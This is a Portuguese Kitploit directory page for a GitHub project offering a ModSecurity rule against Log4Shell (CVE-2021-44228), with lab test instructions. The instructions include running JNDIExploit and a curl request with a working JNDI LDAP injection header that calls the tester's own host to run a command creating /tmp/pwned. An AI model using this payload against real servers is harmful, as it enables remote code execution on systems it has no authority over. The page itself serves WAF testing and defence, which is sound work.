Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ModSec-log4j2 — Regra ModSec para proteção log4j2 - CVE-2021-44228 | Kitploit
Ferramentas/GitHubGitHub/felipe8398/modsec-log4j2
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebBypass de WAFTestes de PenetraçãoAprendizado e Educação
GitHubfelipe8398/modsec-log4j2

ModSec-log4j2

Regra ModSec para proteção log4j2 - CVE-2021-44228

Ver Repositório
3há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Testando a regra de ModSec

Pré requisitos

  • Ter docker instalado
  • Ter Java instalado na sua máquina

Executando o teste

  • Realizar o git clone do repositorio
  • Executar o comando abaixo para subir o WAF (ModSec) e a aplicação vulneravel
root@kitploit:~
docker stack deploy -c docker-compose.yml WAF
  • Extrair o JNDIExploit.v1.2.zip que está no repositorio, entrar na pasta e executar o comando abaixo, sendo que o $IP deve se o IP da sua máquina, não recomendo que coloque o 127.0.0.1
root@kitploit:~
java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888
  • Para testar o RCE execute o curl abaixo alterando o $IP pelo IP da sua máquina, ele vai criar um arquivo pwned dentro de /tmp da aplicação vulneravel
root@kitploit:~
curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Pergunta dos universitarios

Baixar ferramenta

1- Como saber se o meu WAF e aplicação WEB vulneravel subiu ?

Execute docker service ls , e verifique se tem dois serviços cada um com uma replica.

2- Como pegar log do modsec?

Execute docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log

3- Como verificar se o RCE não deu certo?

O curl que utilizamos cria um arquivo com nome pwned dentro de tmp dessa forma precisamosa executar docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp